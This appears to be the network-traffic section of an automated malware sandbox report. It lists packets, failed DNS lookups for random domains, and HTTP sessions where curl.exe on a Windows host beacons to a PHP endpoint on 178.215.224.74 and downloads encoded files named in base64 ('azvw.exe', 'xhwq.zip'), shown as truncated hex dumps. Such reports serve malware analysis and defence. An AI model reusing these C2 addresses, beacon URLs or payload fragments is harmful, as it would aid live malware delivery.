Nov 24, 2024 12:07:57.305772066 CET	50104	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:57.317951918 CET	50104	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:57.439800024 CET	80	50104	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:58.648082972 CET	80	50104	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:58.648320913 CET	50104	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:08:00.772228003 CET	50105	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:08:00.892282963 CET	80	50105	178.215.224.74	192.168.2.5
Nov 24, 2024 12:08:00.892426968 CET	50105	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:08:00.892553091 CET	50105	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:08:01.012343884 CET	80	50105	178.215.224.74	192.168.2.5
Nov 24, 2024 12:08:02.229844093 CET	80	50105	178.215.224.74	192.168.2.5
Nov 24, 2024 12:08:02.230614901 CET	50105	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:08:02.300915956 CET	50106	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:08:02.352431059 CET	80	50105	178.215.224.74	192.168.2.5
Nov 24, 2024 12:08:02.352521896 CET	50105	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:08:02.420677900 CET	80	50106	178.215.224.74	192.168.2.5
Nov 24, 2024 12:08:02.420819044 CET	50106	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:08:02.420949936 CET	50106	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:08:02.542458057 CET	80	50106	178.215.224.74	192.168.2.5
Nov 24, 2024 12:08:03.642329931 CET	80	50104	178.215.224.74	192.168.2.5
Nov 24, 2024 12:08:03.642424107 CET	50104	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:08:03.778614998 CET	80	50106	178.215.224.74	192.168.2.5
Nov 24, 2024 12:08:03.779740095 CET	50106	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:08:03.836277008 CET	50107	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:08:03.900804043 CET	80	50106	178.215.224.74	192.168.2.5
Nov 24, 2024 12:08:03.900914907 CET	50106	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:08:03.956121922 CET	80	50107	178.215.224.74	192.168.2.5
Nov 24, 2024 12:08:03.956267118 CET	50107	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:08:03.956661940 CET	50107	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:08:04.076272964 CET	80	50107	178.215.224.74	192.168.2.5
Nov 24, 2024 12:08:05.314522028 CET	80	50107	178.215.224.74	192.168.2.5
Nov 24, 2024 12:08:05.315063953 CET	50107	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:08:05.435389042 CET	80	50107	178.215.224.74	192.168.2.5
Nov 24, 2024 12:08:05.435497046 CET	50107	80	192.168.2.5	178.215.224.74

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 24, 2024 12:04:01.331515074 CET	65468	53	192.168.2.5	1.1.1.1
Nov 24, 2024 12:04:01.557060957 CET	53	65468	1.1.1.1	192.168.2.5
Nov 24, 2024 12:04:17.225684881 CET	54716	53	192.168.2.5	1.1.1.1
Nov 24, 2024 12:04:17.364928961 CET	53	54716	1.1.1.1	192.168.2.5
Nov 24, 2024 12:04:32.015414000 CET	62599	53	192.168.2.5	1.1.1.1
Nov 24, 2024 12:04:32.154036999 CET	53	62599	1.1.1.1	192.168.2.5
Nov 24, 2024 12:05:47.096450090 CET	53	63459	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 24, 2024 12:04:01.331515074 CET	192.168.2.5	1.1.1.1	0x105	Standard query (0)	EaUMrTLEnhJoi.EaUMrTLEnhJoi	A (IP address)	IN (0x0001)	false
Nov 24, 2024 12:04:17.225684881 CET	192.168.2.5	1.1.1.1	0xe447	Standard query (0)	EaUMrTLEnhJoi.EaUMrTLEnhJoi	A (IP address)	IN (0x0001)	false
Nov 24, 2024 12:04:32.015414000 CET	192.168.2.5	1.1.1.1	0x52b1	Standard query (0)	EaUMrTLEnhJoi.EaUMrTLEnhJoi	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 24, 2024 12:04:01.557060957 CET	1.1.1.1	192.168.2.5	0x105	Name error (3)	EaUMrTLEnhJoi.EaUMrTLEnhJoi	none	none	A (IP address)	IN (0x0001)	false
Nov 24, 2024 12:04:13.372970104 CET	1.1.1.1	192.168.2.5	0x3f78	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Nov 24, 2024 12:04:13.372970104 CET	1.1.1.1	192.168.2.5	0x3f78	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Nov 24, 2024 12:04:17.364928961 CET	1.1.1.1	192.168.2.5	0xe447	Name error (3)	EaUMrTLEnhJoi.EaUMrTLEnhJoi	none	none	A (IP address)	IN (0x0001)	false
Nov 24, 2024 12:04:32.154036999 CET	1.1.1.1	192.168.2.5	0x52b1	Name error (3)	EaUMrTLEnhJoi.EaUMrTLEnhJoi	none	none	A (IP address)	IN (0x0001)	false
Nov 24, 2024 12:05:47.096450090 CET	1.1.1.1	192.168.2.5	0xef12	Name error (3)	GyxNFpxuLvDE.GyxNFpxuLvDE	none	none	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

178.215.224.252

178.215.224.74

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49732	178.215.224.252	80	6784	C:\Windows\SysWOW64\curl.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 12:04:25.297477961 CET	98	OUT	GET /v10/ukyh.php?jspo=6 HTTP/1.1 Host: 178.215.224.252 User-Agent: curl/7.83.1 Accept: /

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49793	178.215.224.74	80	7056	C:\Windows\SysWOW64\curl.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 12:04:53.240776062 CET	97	OUT	GET /v10/ukyh.php?jspo=6 HTTP/1.1 Host: 178.215.224.74 User-Agent: curl/7.83.1 Accept: /
Nov 24, 2024 12:04:54.608581066 CET	203	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 11:04:54 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 62 68 6c 6f Data Ascii: bhlo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49798	178.215.224.74	80	4952	C:\Windows\SysWOW64\curl.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 12:04:55.032725096 CET	97	OUT	GET /v10/ukyh.php?jspo=5 HTTP/1.1 Host: 178.215.224.74 User-Agent: curl/7.83.1 Accept: /
Nov 24, 2024 12:04:56.343988895 CET	199	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 11:04:56 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49800	178.215.224.74	80	3712	C:\Windows\SysWOW64\curl.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 12:04:56.618705034 CET	97	OUT	GET /v10/ukyh.php?jspo=6 HTTP/1.1 Host: 178.215.224.74 User-Agent: curl/7.83.1 Accept: /
Nov 24, 2024 12:04:57.936877966 CET	203	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 11:04:57 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 62 68 6c 6f Data Ascii: bhlo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49806	178.215.224.74	80	5632	C:\Windows\SysWOW64\curl.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 12:04:58.276925087 CET	97	OUT	GET /v10/ukyh.php?jspo=6 HTTP/1.1 Host: 178.215.224.74 User-Agent: curl/7.83.1 Accept: /
Nov 24, 2024 12:04:59.633570910 CET	203	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 11:04:59 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 62 68 6c 6f Data Ascii: bhlo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49812	178.215.224.74	80	6948	C:\Windows\SysWOW64\curl.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 12:04:59.965029001 CET	118	OUT	GET /v10/ukyh.php?jspo=35&xvgj=YXp2dy5leGU%3D HTTP/1.1 Host: 178.215.224.74 User-Agent: curl/7.83.1 Accept: /
Nov 24, 2024 12:05:01.264620066 CET	1236	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 11:05:01 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Vary: Accept-Encoding Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8 Data Raw: 34 38 65 33 63 0d 0a 56 46 5a 78 55 30 6c 44 54 55 46 4a 51 30 4e 4e 51 55 4e 44 51 79 30 74 4f 6b 46 44 52 47 39 44 51 30 46 44 51 55 46 42 51 55 46 52 51 30 6c 44 51 55 46 42 51 30 4e 42 51 55 4e 42 51 55 46 44 51 55 6c 42 51 30 4e 42 51 55 4e 42 51 30 4e 44 51 55 4e 44 51 30 46 42 51 55 4e 4a 51 30 46 42 53 55 4e 44 53 55 46 44 51 30 4d 32 51 30 4e 42 51 30 6b 38 5a 48 64 6e 4e 6b 46 30 51 57 35 4f 53 57 42 76 51 46 52 4e 4d 47 70 55 52 32 68 79 59 33 6c 43 64 57 4e 6c 4f 57 78 68 62 55 5a 32 53 55 56 4d 61 6d 4a 76 4e 33 52 6b 51 30 4a 72 55 6c 46 43 65 57 78 56 4e 6d 39 68 56 54 5a 6c 55 45 63 37 56 45 74 50 4f 58 52 59 52 31 64 31 52 46 45 77 53 30 70 44 53 55 4e 42 51 55 46 44 51 30 46 45 51 31 56 7a 57 6b 64 6f 54 45 39 74 52 44 52 52 65 48 46 41 5a 30 64 4e 4e 47 56 61 4e 57 6c 35 4e 55 34 32 54 58 70 35 51 47 64 4e 54 54 52 70 57 6a 52 6f 54 57 39 45 4a 7a 42 30 63 6b 4a 6e 56 55 30 32 5a 31 68 7a 61 6c 39 6f 52 6a 52 56 65 48 4e 43 59 30 70 4d 4e 6c 6c 61 61 31 78 50 62 55 51 33 53 56 52 [TRUNCATED] Data Ascii: 48e3cVFZxU0lDTUFJQ0NNQUNDQy0tOkFDRG9DQ0FDQUFBQUFRQ0lDQUFBQ0NBQUNBQUFDQUlBQ0NBQUNBQ0NDQUNDQ0FBQUNJQ0FBSUNDSUFDQ0M2Q0NBQ0k8ZHdnNkF0QW5OSWBvQFRNMGpUR2hyY3lCdWNlOWxhbUZ2SUVMamJvN3RkQ0JrUlFCeWxVNm9hVTZlUEc7VEtPOXRYR1d1RFEwS0pDSUNBQUFDQ0FEQ1VzWkdoTE9tRDRReHFAZ0dNNGVaNWl5NU42TXp5QGdNTTRpWjRoTW9EJzB0ckJnVU02Z1hzal9oRjRVeHNCY0pMNllaa1xPbUQ3SVRvamFVTTRlWlVtbGhpS1F6eUBhSUFDQ0NDQ0NBQ0lJQ0NBQ0FBQUFBQUNJQ0FBQUNDQUJTUlFBQ1RJRUZDRkNRSTJLQ0FDQ0NBQUFDSU1BQUx1R0RBU1tDQ0xDQkNJTGVDUUNBQUFBQWVHb0BBQUFTQ0FBQzRBRUNBSUJDQ0FBU0FDQ0NFQ0NDQkFBQ0lDQUFJQ0NNQUNDQ0NDQ0FDSUxDQ3dDQUVBQUFnS2NGQUFNQ0NBQUNBQkFDQUpBQ0NBQUNFQ0NDRUNDQ0FBQUNJQEFBSUNDSUFDQ0NDQ0NBQ0xJMUNnQFFBQUFBQUNJQ0FBQUNDQUFDQUFBQ0FJQUNDQUFDQUNDQ0FDQ0NBQUFDSUNBQUlDQ0lBQ0NDQ0NDQUNJSUNDQUNBQUFBQUFDSUNBQUFDQ0FBQ0FBQUNBSUFDQ0FBQ0FDQ0NBQ0NDQUFBQ0lDQUFJQ0NJNENHQ3RDR0FDSUlDQ0FDQUFBQUFBQ0lDQUFBQ0NBQUNBQUFDQUlBQ0NDNTJaWmoyQUNDQ3dNTUBJQ0FRSUNDSTBDR0NDQENBQ0lJQ0NBQ0FBQUFBQUNJQ0FDQUNDR0F3Y21SamRPRUNDSUpqQUNDQzRDR0NBSEFDSUNEZ0lTQ0lBQ0NDQ0NDQUNJSUNDQUBBQUFCQUxvWmpkR0VDQ0FDR1
Nov 24, 2024 12:05:01.264697075 CET	1236	IN	Data Raw: 6c 6e 52 55 4e 42 54 6b 46 42 51 30 46 43 51 30 46 44 51 30 4e 56 51 30 74 44 51 55 46 42 51 30 6c 44 51 55 46 4a 51 30 4e 4a 51 55 4e 44 51 31 4e 44 51 30 46 31 53 55 6c 44 51 30 46 44 51 55 46 42 51 55 46 42 51 30 6c 44 51 55 46 42 51 30 4e 42 Data Ascii: lnRUNBTkFBQ0FCQ0FDQ0NVQ0tDQUFBQ0lDQUFJQ0NJQUNDQ1NDQ0F1SUlDQ0FDQUFBQUFBQ0lDQUFBQ0NBQUNBQUFDQUlBQ0NBQUNBQ0NDQUNDQ0FBQUNJQ0FBSUNDSUFDQ0NDQ0NBQ0lJQ0NBQ0FBQUFBQUNJQ0FBQUNDQUFDQUFBQ0FJQUNDQUFDQUNDQ0FDQ0NBQUFDSUNBQUlDQ0lBQ0NDQ0NDQUNJSUNDQUNBQUFBQUFDS
Nov 24, 2024 12:05:01.264734983 CET	1236	IN	Data Raw: 6c 42 51 30 4e 44 51 30 4e 44 51 55 4e 4a 53 55 4e 44 51 55 4e 42 51 55 46 42 51 55 46 44 53 55 4e 42 51 55 46 44 51 30 46 42 51 30 46 42 51 55 4e 42 53 55 46 44 51 30 46 42 51 30 46 44 51 30 4e 42 51 30 4e 44 51 55 46 42 51 30 6c 44 51 55 46 4a Data Ascii: lBQ0NDQ0NDQUNJSUNDQUNBQUFBQUFDSUNBQUFDQ0FBQ0FBQUNBSUFDQ0FBQ0FDQ0NBQ0NDQUFBQ0lDQUFJQ0NJQUNDQ0NDQ0FDSUlDQ0FDQUFBQUFBQ0lDQUFBQ0NBQUNBQUFDQUlBQ0NBQUNBQ0NDQUNDQ0FBQUNJQ0FBSUNDSUFDQ0NDQ0NBQ0lJQ0NBQ0FBQUFBQUNJQ0FBQUNDQUFDQUFBQ0FJQUNDQUFDQUNDQ0FDQ0NBQ
Nov 24, 2024 12:05:01.264767885 CET	1236	IN	Data Raw: 46 44 51 55 46 42 51 30 46 4a 51 55 4e 44 51 55 46 44 51 55 4e 44 51 30 46 44 51 30 4e 42 51 55 46 44 53 55 4e 42 51 55 6c 44 51 30 6c 42 51 30 4e 44 51 30 4e 44 51 55 4e 4a 53 55 4e 44 51 55 4e 42 51 55 46 42 51 55 46 44 53 55 4e 42 51 55 46 44 Data Ascii: FDQUFBQ0FJQUNDQUFDQUNDQ0FDQ0NBQUFDSUNBQUlDQ0lBQ0NDQ0NDQUNJSUNDQUNBQUFBQUFDSUNBQUFDQ0FBQ0FBQUNBSUFDQ0FBQ0FDQ0NBQ0NDQUFBQ0lDQUFJQ0NJQUNDQ0NDQ0FDSUlDQ0FDQUFBQUFBQ0lDQUFBQ0NBQUNBQUFDQUlBQ0NBQUNBQ0NDQUNDQ0FBQUNJQ0FBSUNDSUFDQ0NDQ0NBQ0lJQ0NBQ0FBQUFBQ
Nov 24, 2024 12:05:01.264801025 CET	1236	IN	Data Raw: 4e 44 53 55 46 44 51 30 4e 44 51 30 4e 42 51 30 6c 4a 51 30 4e 42 51 30 46 42 51 55 46 42 51 55 4e 4a 51 30 46 42 51 55 4e 44 51 55 46 44 51 55 46 42 51 30 46 4a 51 55 4e 44 51 55 46 44 51 55 4e 44 51 30 46 44 51 30 4e 42 51 55 46 44 53 55 4e 42 Data Ascii: NDSUFDQ0NDQ0NBQ0lJQ0NBQ0FBQUFBQUNJQ0FBQUNDQUFDQUFBQ0FJQUNDQUFDQUNDQ0FDQ0NBQUFDSUNBQUlDQ0lBQ0NDQ0NDQUNJSUNDQUNBQUFBQUFDSUNBQUFDQ0FBQ0FBQUNBSUFDQ0FBQ0FDQ0NBQ0NDQUFBQ0lDQUFJQ0NJQUNDQ0NDQ0FDSUlDQ0FDQUFBQUFBQ0lDQUFBQ0NBQUNBQUFDQUlBQ0NBQUNBQ0NDQUNDQ
Nov 24, 2024 12:05:01.264834881 CET	1236	IN	Data Raw: 4e 42 51 55 4e 42 51 55 46 44 51 55 6c 42 51 30 4e 42 51 55 4e 42 51 30 4e 44 51 55 4e 44 51 30 46 42 51 55 4e 4a 51 30 46 42 53 55 4e 44 53 55 46 44 51 30 4e 44 51 30 4e 42 51 30 6c 4a 51 30 4e 42 51 30 46 42 51 55 46 42 51 55 4e 4a 51 30 46 42 Data Ascii: NBQUNBQUFDQUlBQ0NBQUNBQ0NDQUNDQ0FBQUNJQ0FBSUNDSUFDQ0NDQ0NBQ0lJQ0NBQ0FBQUFBQUNJQ0FBQUNDQUFDQUFBQ0FJQUNDQUFDQUNDQ0FDQ0NBQUFDSUNBQUlDQ0lBQ0NDQ0NDQUNJSUNDQUNBQUFBQUFDSUNBQUFDQ0FBQ0FBQUNBSUFDQ0FBQ0FDQ0NBQ0NDQUFBQ0lDQUFJQ0NJQUNDQ0NDQ0FDSUlDQ0FDQUFBQ
Nov 24, 2024 12:05:01.264869928 CET	1236	IN	Data Raw: 46 4a 51 30 4e 4a 51 55 4e 44 51 30 4e 44 51 30 46 44 53 55 6c 44 51 30 46 44 51 55 46 42 51 55 46 42 51 30 6c 44 51 55 46 42 51 30 4e 42 51 55 4e 42 51 55 46 44 51 55 6c 42 51 30 4e 42 51 55 4e 42 51 30 4e 44 51 55 4e 44 51 30 46 42 51 55 4e 4a Data Ascii: FJQ0NJQUNDQ0NDQ0FDSUlDQ0FDQUFBQUFBQ0lDQUFBQ0NBQUNBQUFDQUlBQ0NBQUNBQ0NDQUNDQ0FBQUNJQ0FBSUNDSUFDQ0NDQ0NBQ0dhYGBRQ0FpMFFrQ0t8T0pBUlNXZWdPQUFBQ2cwUUt1NUNTa0hBU2tIQVNVVk5UXm5kb1FLM0tBRW1BNEhDYkNZSm02SFhBQUdvQzZSe1hBUUJtNkhaQ0FHb1I2RzhYQ1FCbTRKWENBR
Nov 24, 2024 12:05:01.264904022 CET	1236	IN	Data Raw: 67 32 51 33 46 50 4f 6d 74 72 53 55 4e 4e 49 7a 4e 77 53 6c 6c 59 4c 57 52 41 62 45 70 43 5a 55 4e 44 51 55 46 44 54 6c 68 6e 65 56 4e 5a 5a 55 46 45 4d 57 74 30 57 6e 56 6b 62 55 4e 72 57 6c 42 44 61 57 74 4c 51 57 39 56 51 31 4e 52 5a 55 74 44 Data Ascii: g2Q3FPOmtrSUNNIzNwSllYLWRAbEpCZUNDQUFDTlhneVNZZUFEMWt0WnVkbUNrWlBDaWtLQW9VQ1NRZUtDT0FCM0RvdEVCSVBFQkFQRkBJWENENlZ1QUNDQ28wQ1FZZUNGcVMpTTBDQ0NDS083Q0kjR0dBR0FBSXQ4SkBxTlZDUVtrOHVISGVpUVFvQXB4OEg3QWt0UGlQVTpra0lDPmNVQUlDQU4vdSlEbFNDQUNBe0V0ekBRU
Nov 24, 2024 12:05:01.264938116 CET	1236	IN	Data Raw: 56 6e 52 55 6c 44 51 7a 38 34 4d 56 4e 4d 61 31 41 7a 56 57 6c 6a 51 55 4e 50 4c 32 42 77 56 6e 64 52 51 55 46 50 61 30 52 57 53 6b 70 42 51 30 46 46 51 30 46 42 52 48 4a 54 53 56 46 44 51 30 52 32 65 45 51 32 56 46 56 43 51 30 4e 44 54 31 49 78 Data Ascii: VnRUlDQz84MVNMa1AzVWljQUNPL2BwVndRQUFPa0RWSkpBQ0FFQ0FBRHJTSVFDQ0R2eEQ2VFVCQ0NDT1IxQ2NpSUFMNlRfQkNDQ2tWM0FpY0FDa2dhNnczVXppMllpRUlQNkNRK01NUVFDQUFQQEBJdlNTbW5PSkBrTkFZbFdCQENqWUhIS0FLQzZOUylFR39ZQ0NEZWZENFQxQXVJQ2lrY0BQenJGRDRUckF/QUNra2NAUnhwR
Nov 24, 2024 12:05:01.264972925 CET	1236	IN	Data Raw: 46 45 64 6e 68 6d 51 54 4a 49 53 46 6c 54 55 56 46 76 51 58 67 37 64 57 31 6f 51 56 4e 44 51 33 68 31 56 55 64 72 61 30 6c 44 53 56 4e 42 51 55 6c 4e 62 31 31 42 55 30 4e 44 54 53 31 4d 4d 45 5a 52 59 32 5a 72 53 6b 68 44 51 55 52 51 4d 6a 5a 62 Data Ascii: FEdnhmQTJISFlTUVFvQXg7dW1oQVNDQ3h1VUdra0lDSVNBQUlNb11BU0NDTS1MMEZRY2ZrSkhDQURQMjZbRUBBQURKQFlpUVFnQUBBSUFDNFhRQEFDQzU4MVNQeHdWbWNpSUFJU0NJQUZSMDRUOkJDSUtISldrU1FnRHBWQ01DQUtHT2lrSUNPL04yR1t2RU85STV3dSlnd2ltaDBEUDBhUFdNY2lLSTZWS0BDQ0M3dTtZU21Ze
Nov 24, 2024 12:05:01.385499001 CET	1236	IN	Data Raw: 56 6a 61 55 6c 42 62 45 5a 70 50 55 68 56 65 31 46 54 5a 55 41 77 54 31 39 76 51 45 42 42 51 30 46 68 54 58 70 73 55 56 4e 4b 62 55 4a 4b 64 45 46 44 54 32 68 68 52 47 64 46 51 32 63 77 55 55 74 58 52 32 64 48 62 54 4a 4c 51 32 46 48 51 56 46 52 Data Ascii: VjaUlBbEZpPUhVe1FTZUAwT19vQEBBQ0FhTXpsUVNKbUJKdEFDT2hhRGdFQ2cwUUtXR2dHbTJLQ2FHQVFRZ0QtTlV5ZFl1QUx4QEFISlpBU1NvSTdKYVFTUWdCMEZFZ0A2SGwwQ1FDRnhBU0R3QFVFa1IyaWtpS0NpMnVpRUl0R0JAU0w4V29OMGxQWk06TDFXcmNmV0pIQ0FIVXJPUDpDa2tJQ2ZTTTdIWXlRUW9CM0V6a2ZuS

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49818	178.215.224.74	80	3580	C:\Windows\SysWOW64\curl.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 12:05:03.186362982 CET	97	OUT	GET /v10/ukyh.php?jspo=6 HTTP/1.1 Host: 178.215.224.74 User-Agent: curl/7.83.1 Accept: /
Nov 24, 2024 12:05:04.541027069 CET	203	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 11:05:04 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 62 68 6c 6f Data Ascii: bhlo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49824	178.215.224.74	80	5620	C:\Windows\SysWOW64\curl.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 12:05:04.905486107 CET	97	OUT	GET /v10/ukyh.php?jspo=6 HTTP/1.1 Host: 178.215.224.74 User-Agent: curl/7.83.1 Accept: /
Nov 24, 2024 12:05:06.213546991 CET	203	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 11:05:05 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 62 68 6c 6f Data Ascii: bhlo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	49829	178.215.224.74	80	7128	C:\Windows\SysWOW64\curl.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 12:05:06.508723021 CET	118	OUT	GET /v10/ukyh.php?jspo=35&xvgj=eGh3cS56aXA%3D HTTP/1.1 Host: 178.215.224.74 User-Agent: curl/7.83.1 Accept: /
Nov 24, 2024 12:05:08.066881895 CET	1236	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 11:05:07 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Vary: Accept-Encoding Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8 Data Raw: 31 62 61 62 34 38 0d 0a 56 55 56 7a 52 6b 70 41 55 55 46 4a 51 30 4e 42 51 55 42 71 62 6b 70 48 64 30 39 36 4d 56 49 33 59 56 52 48 51 6b 46 42 51 6b 46 42 5a 55 6c 4c 51 55 46 42 51 30 77 7a 63 44 5a 5a 55 7a 56 70 59 6b 39 36 63 53 31 52 4f 54 5a 47 54 46 70 55 51 55 4d 31 55 6c 70 44 5a 6b 68 6a 51 58 70 7a 55 57 70 59 55 55 70 56 63 32 31 7a 4f 6c 74 48 54 47 70 43 55 45 64 36 5a 47 39 43 63 6b 74 69 5a 30 56 79 57 32 74 48 55 55 5a 54 5a 30 70 32 53 6c 6b 77 63 6d 4a 66 62 56 74 42 59 57 64 70 51 6d 68 62 59 45 31 77 61 55 31 5a 62 43 73 79 49 33 5a 61 55 32 35 56 64 6d 6f 79 4f 30 6c 56 64 6e 5a 59 52 31 45 6a 4f 48 63 79 56 33 56 70 51 33 56 47 55 45 5a 62 58 7a 46 53 61 31 64 6d 5a 6c 56 4e 54 47 64 6f 51 58 56 4e 66 44 67 33 4f 79 73 33 62 30 77 37 62 53 30 33 4b 53 30 78 55 47 4d 76 4d 56 68 41 4f 46 41 36 57 47 38 39 4c 79 6b 70 4e 7a 63 33 4e 7a 64 34 65 6d 5a 73 62 48 56 33 4e 57 46 34 64 47 34 30 52 6d 42 4e 5a 30 51 35 5a 6a 63 33 5a 30 31 71 64 6a 46 34 59 33 34 76 4f 6d 77 31 62 6d [TRUNCATED] Data Ascii: 1bab48VUVzRkpAUUFJQ0NBQUBqbkpHd096MVI3YVRHQkFBQkFBZUlLQUFBQ0wzcDZZUzVpYk96cS1ROTZGTFpUQUM1UlpDZkhjQXpzUWpYUUpVc21zOltHTGpCUEd6ZG9CcktiZ0VyW2tHUUZTZ0p2SlkwcmJfbVtBYWdpQmhbYE1waU1ZbCsyI3ZaU25VdmoyO0lVdnZYR1EjOHcyV3VpQ3VGUEZbXzFSa1dmZlVNTGdoQXVNfDg3Oys3b0w7bS03KS0xUGMvMVhAOFA6WG89LykpNzc3Nzd4emZsbHV3NWF4dG40RmBNZ0Q5Zjc3Z01qdjF4Y34vOmw1bmx1QW5admhBRGUzYlFpNU02I0dVfnpRc3R0VWZkenx6NDUzNHovbXZmenRiRTE3N3hsZTlJR1Y5ZG5eRXRkeWZobnc7aUZBNnd5L2owbCk5ZW5hUmN5UW8wVUBuMTExaWZMeGVmVG92Ly9mejo0N1RwNkZtUzl0OXIxMVBsRjlPKVNyKVJwTzBFNTVQQX5wUWJpZnJ8YVZPdXRkQ3FWXyc7NG4pbjFjTHo1bWtmYWJQbTIwVFZSMUopUUZNZG9QMEtmUTQ3NXp3M1dNOFoxYW5yPHBqTmZASDE2NG9mTkF9SjtYRzN6RXFGTU09VDZQQU5OT3lMbCtIZmpCRTpAUVY7VDBAdTVOa1BKeGNhS1d5Z34wYD5mKVZISnFHWkFscjtXRlFoSllIellvSnhBdGM1bFp2Njc4a0d6eHpFLWZ2LW9IMVJmR2wyRGRMc0xQSThYMTJkMWstcXN4QzJWWWpKcGJzaC91NnZTVCdoT0VkZ3BPKzF3Yk9aWn9sRWFNZDdBMnRFUGBpU015YXVyc2NrYkc6UHZFSmZAcnNTVHpdMG5zNjRMbDBDcEl8ZFYvOExwR280Z3cxbGhtZVdBZVU3YjRqZHZnYzVrTEQ2XWVZcj9oSDxYaE9qMVZ4dS0nI1Itb3RRbjJ0MjhmcFZ6WFVIWHFYQ
Nov 24, 2024 12:05:08.066999912 CET	1236	IN	Data Raw: 31 52 42 63 48 5a 6e 5a 69 74 54 62 6a 51 7a 61 6b 46 6f 54 31 6f 31 54 7a 41 31 4b 30 51 77 51 54 31 36 4f 46 56 53 54 55 78 63 64 46 4e 78 56 6e 68 45 52 31 52 79 51 57 51 70 4e 30 49 36 56 54 56 6d 5a 57 5a 31 61 6e 74 42 51 57 74 49 4e 33 70 Data Ascii: 1RBcHZnZitTbjQzakFoT1o1TzA1K0QwQT16OFVSTUxcdFNxVnhER1RyQWQpN0I6VTVmZWZ1antBQWtIN3pKeGU5SzBJMGQ5b1I1cFpaZERUTnZ6S0dvMUdGdHZ2PEVQempkLTBMUm5hNmBEM0BsR3RIdEsyNjV6Z0VwVFE3L3U1elA2dTRDaXszTDlqRDQ0cVhuNDN4OHgzXkpMSnJmRFhPbGVsM3p7TjJ5UVdFM1RvQUNtM2lW
